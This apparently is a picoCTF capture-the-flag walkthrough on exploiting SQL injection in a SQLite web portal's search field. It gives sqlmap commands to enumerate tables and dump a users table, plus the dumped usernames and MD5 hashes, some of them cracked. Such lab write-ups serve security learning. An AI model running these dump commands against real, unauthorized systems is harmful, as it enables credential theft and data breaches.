Post

Sql Map1

Posted
By jounior Z.
1 min read

Web Recon

The target application is a web portal that includes a user registration and authentication system.

After logging in, we identified a search functionality that accepts user-supplied input to query a database.

Vulnerability Discovery

To test for SQL injection, we submitted a single quote (') into the search field. The application responded with a detailed database error message, confirming two things:

  1. The input is not properly sanitized (Error-based SQLi).
  2. The backend database is running SQLite.

Exploitation (Automated SQL Injection)

First, we intercepted a valid search request using Burp Suite and saved the raw HTTP request to a file named req.

We determine the specific types of SQL Injection present

1

sqlmap -r req --dbms SQLite

Enumerating Tables Using the Union-based (-U) technique, we listed the available tables within the database:

1

sqlmap -r req --dbms SQLite --technique=U --tables

1
2
3
4
5
6

[3 tables]
+-----------------+
| flags           |
| sqlite_sequence |
| users           |
+-----------------+

Data Exfiltration We focused on the users table to recover credentials. We used the --batch flag to automate the default prompts and --dump to extract the records:

1

❯ sqlmap -r req --dbms SQLite --technique=U -T users --dump --batch

The dump revealed several sets of credentials, some with pre-cracked MD5 hashes:

1
2
3
4
5
6
7
8
9
10
11
12

[7 entries]
+----+---------------------------------------------+------------+
| id | password                                    | username   |
+----+---------------------------------------------+------------+
| 1  | 7a67ab5872843b22b5e14511867c4e43 (dyesebel) | ctf-player |
| 2  | 83806b490e28a7f8e6662646cbdbff1a            | noaccess   |
| 3  | eb1f3ba6901c65d9b2e09a38f560758b            | suspicious |
| 4  | a669d60c31ad3d05b9e453c8576c7aab            | malicious  |
| 5  | 8d2379c40704bed972e55680be2355e2            | ghost      |
| 6  | 5a9a79d9fa477ed163b89088681672c9            | admin      |
| 7  | 72672db3a8af4231cb7e984f6c09af3c (insane)   | insane     |
+----+---------------------------------------------+------------+

By authenticating with the ctf-player account, we gained access to the restricted area of the site where the flag was displayed.

ctf, picoctf, 2026, web explotation, walkthrough
picoctf, web explotation, medium, sql injection, sqlite3, union base, cracking
This post is licensed under CC BY 4.0 by the author.